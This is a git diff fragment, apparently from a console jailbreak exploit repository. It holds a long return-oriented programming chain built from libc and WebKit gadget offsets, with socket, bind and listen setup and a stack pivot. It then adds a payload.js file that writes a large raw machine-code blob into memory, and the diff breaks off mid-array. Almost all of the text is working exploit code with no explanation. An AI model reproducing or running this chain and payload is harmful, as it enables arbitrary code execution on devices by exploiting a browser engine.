+libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+220624, //L3486 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L3486: +db([0, 0]); // 0x0 +//L3175: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967112, 4294967295]); // -0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([168, 0]); // 0xa8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+772328, //pop rcx +socket_addr, +webkit_base+2989859, //mov [rax], rcx +libc_base+713278 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+221952, //L3487 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L3487: +db([0, 0]); // 0x0 +//L3249: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967112, 4294967295]); // -0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([168, 0]); // 0xa8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+772328, //pop rcx +listen_addr, +webkit_base+2989859, //mov [rax], rcx +libc_base+713278 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+223280, //L3488 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L3488: +db([0, 0]); // 0x0 +//L3233: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967112, 4294967295]); // -0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([168, 0]); // 0xa8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+772328, //pop rcx +bind_addr, +webkit_base+2989859, //mov [rax], rcx +libc_base+713278 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+224608, //L3489 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L3489: +db([0, 0]); // 0x0 +//L2640: +db([2, 0, 0, 0, 0, 0]); +pivot(ropchain); +var main_ret = read_ptr_at(main_ret); +var printf_buf_end = read_ptr_at(ropchain+printf_buf_offset); +var printf_ans = read_mem_as_string(printf_buf, printf_buf_end-printf_buf); +var _ = malloc_nogc.pop(); +var _ = malloc_nogc.pop(); +var _ = malloc_nogc.pop(); diff --git a/702/payload.js b/702/payload.js new file mode 100644 index 00000000..f21e60aa --- /dev/null +++ b/702/payload.js @@ -0,0 +1,3 @@ +window.mira_blob_2_len = 12292 +window.mira_blob_2 = malloc(window.mira_blob_2_len); +write_mem(window.mira_blob_2, [233, 190, 2, 0, 0, 85, 72, 137, 229, 72, 129, 236, 208, 1, 0, 0, 72, 137, 189, 72, 254, 255, 255, 137, 181, 68, 254, 255, 255, 72, 137, 149, 56, 254, 255, 255, 72, 137, 141, 48, 254, 255, 255, 199, 69, 252, 0, 0, 0, 0, 72, 141, 85, 252, 72, 139, 133, 72, 254, 255, 255, 185, 0, 0, 0, 0, 190, 0, 0, 0, 0, 72, 137, 199, 232, 48, 1, 0, 0, 72, 133, 192, 116, 7, 184, 0, 0, 0, 0, 235, 89, 72, 199, 133, 80, 254, 255, 255, 168, 1, 0, 0, 139, 69, 252, 72, 141, 149, 80, 254, 255, 255, 190, 0, 0, 0, 0, 137, 199, 232, 22, 1, 0, 0, 133, 192, 116, 7, 184, 0, 0, 0, 0, 235, 45, 139, 69, 244, 131, 248, 1, 119, 32, 72, 139, 133, 120, 255, 255, 255, 72, 137, 193, 72, 139, 149, 56, 254, 255, 255, 72, 139, 133, 48, 254, 255, 255, 72, 137, 214, 72, 137, 199, 255, 209, 139, 69, 252, 72, 152, 201, 195, 85, 72, 137, 229, 72, 131, 236, 16, 72, 137, 125, 248, 137, 117, 244, 139, 117, 244, 72, 139, 69, 248, 185, 0, 0, 0, 0, 186, 0, 0, 0, 0, 72, 137, 199, 232, 39, 255, 255, 255, 201, 195, 85, 72, 137, 229, 72, 131, 236, 32, 72, 137, 125, 232, 72, 137, 117, 224, 72, 199, 69, 248, 0, 0, 0, 0, 72, 139, 69, 232, 137, 193, 72, 141, 85, 248, 72, 139, 69, 224, 72, 137, 198, 137, 207, 232, 92, 0, 0, 0, 72, 139, 69, 248, 201, 195, 102, 46, 15, 31, 132, 0, 0, 0, 0, 0, 72, 199, 192, 3, 0, 0, 0, 73, 137, 202, 15, 5, 15, 130, 115, 0, 0, 0, 195, 72, 199, 192, 4, 0, 0, 0, 73, 137, 202, 15, 5, 15, 130, 96, 0, 0, 0, 195, 72, 199, 192, 135, 0, 0, 0, 73, 137, 202, 15, 5, 15, 130, 77, 0, 0, 0, 195, 72, 199, 192, 221, 1, 0, 0, 73, 137, 202, 15, 5, 15, 130, 58, 0, 0, 0, 195, 72, 199, 192, 79, 2, 0, 0, 73, 137, 202, 15, 5, 15, 130, 39, 0, 0, 0, 195, 72, 199, 192, 82, 2, 0, 0, 73, 137, 202, 15, 5, 15, 130, 20, 0, 0, 0, 195, 72, 199, 192, 96, 2, 0, 0, 73, 137, 202, 15, 5, 15, 130, 1, 0, 0, 0, 195, 137, 5, 93, 46, 0, 0, 72, 49, 192, 72, 255, 200, 195, 72, 139, 103, 56, 95, 235, 0, 85, 72, 137, 229, 72, 131, 236, 16, 72, 141, 5, 112, 46, 0, 0, 72, 139, 0, 72, 139, 64, 16, 72, 193, 224, 16, 137, 69, 252, 72, 141, 5, 91, 46, 0, 0, 72, 139, 0, 72, 139, 64, 24, 72, 133, 192, 117, 86, 72, 141, 5, 56, 46, 0, 0, 72, 139, 0, 72, 141, 21, 62, 46, 0, 0, 72, 139, 18, 72, 141, 114, 40, 139, 85, 252, 141, 138, 0, 2, 128, 7, 186, 17, 0, 0, 0, 137, 207, 255, 208, 72, 141, 5, 54, 46, 0, 0, 72, 139, 0, 72, 141, 21, 20, 46, 0, 0, 72, 139, 18, 72, 141, 114, 32, 139, 85, 252, 141, 138, 0, 5, 128, 7, 186, 8, 0, 0, 0, 137, 207, 255, 208, 235, 125, 72, 141, 5, 242, 45, 0, 0, 72, 139, 0, 72, 139, 64, 24, 72, 131, 248, 1, 117, 105, 72, 141, 5, 230, 45, 0, 0, 72, 139, 0, 72, 141, 21, 212, 45, 0, 0, 72, 139, 18, 72, 141, 114, 32, 139, 85, 252, 141, 138, 0, 5, 128, 7, 186, 8, 0, 0, 0, 137, 207, 255, 208, 72, 141, 5, 172, 45, 0, 0, 72, 139, 0, 139, 85, 252, 141, 138, 7, 176, 128, 7, 186, 3, 0, 0, 0, 72, 141, 53, 100, 13, 0, 0, 137, 207, 255, 208, 72, 141, 5, 161, 45, 0, 0, 72, 139, 0, 139, 85, 252, 129, 194, 0, 8, 128, 7, 190, 6, 0, 0, 0, 137, 215, 255, 208, 184, 0, 0, 0, 0, 201, 195, 85, 72, 137, 229, 72, 131, 236, 96, 72, 141, 69, 160, 72, 137, 199, 232, 97, 3, 0, 0, 72, 141, 69, 160, 72, 137, 199, 232, 231, 5, 0, 0, 72, 199, 69, 208, 0, 0, 0, 0, 72, 184, 16, 0, 0, 0, 0, 0, 0, 56, 72, 137, 69, 216, 72, 184, 0, 0, 0, 0, 0, 28, 0, 64, 72, 137, 69, 224, 72, 184, 0, 255, 0, 0, 0, 0, 0, 144, 72, 137, 69, 232, 72, 141, 69, 160, 72, 137, 199, 232, 96, 4, 0, 0, 190, 0, 0, 0, 0, 72, 141, 61, 219, 12, 0, 0, 232, 132, 253, 255, 255, 72, 137, 69, 248, 72, 139, 69, 248, 72, 141, 53, 236, 12, 0, 0, 72, 137, 199, 232, 151, 253, 255, 255, 72, 137, 194, 72, 141, 5, 5, 45, 0, 0, 72, 137, 16, 72, 139, 69, 248, 72, 141, 53, 220, 12, 0, 0, 72, 137, 199, 232, 119, 253, 255, 255, 72, 137, 194, 72, 141, 5, 213, 44, 0, 0, 72, 137, 16, 72, 139, 69, 248, 72, 141, 53, 204, 12, 0, 0, 72, 137, 199, 232, 87, 253, 255, 255, 72, 137, 194, 72, 141, 5, 149, 44, 0, 0, 72, 137, 16, 72, 139, 69, 248, 72, 141, 53, 188, 12, 0, 0, 72, 137, 199, 232, 55, 253, 255, 255, 72, 137, 194, 72, 141, 5, 125, 44, 0, 0, 72, 137, 16, 72, 139, 69, 248, 72, 141, 53, 172, 12, 0, 0, 72, 137, 199, 232, 23, 253, 255, 255, 72, 137, 194, 72, 141, 5, 125, 44, 0, 0, 72, 137, 16, 72, 139, 69, 248, 72, 141, 53, 156, 12, 0, 0, 72, 137, 199, 232, 247, 252, 255, 255, 72, 137, 194, 72, 141, 5, 77, 44, 0, 0, 72, 137, 16, 65, 185, 0, 0, 0, 0, 65, 184, 255, 255, 255, 255, 185, 2, 16, 0, 0, 186, 3, 0, 0, 0, 190, 0, 16, 0, 0, 72, 191, 0, 0, 17, 17, 145, 0, 0, 0, 232, 57, 253, 255, 255, 72, 141, 21, 17, 44, 0, 0, 72, 137, 2, 72, 141, 5, 7, 44, 0, 0, 72, 139, 0, 72, 141, 21, 119, 253, 255, 255, 72, 137, 80, 8, 184, 0, 0, 0, 0, 201, 195, 85, 72, 137, 229, 72, 131, 236, 64, 232, 106, 7, 0, 0, 72, 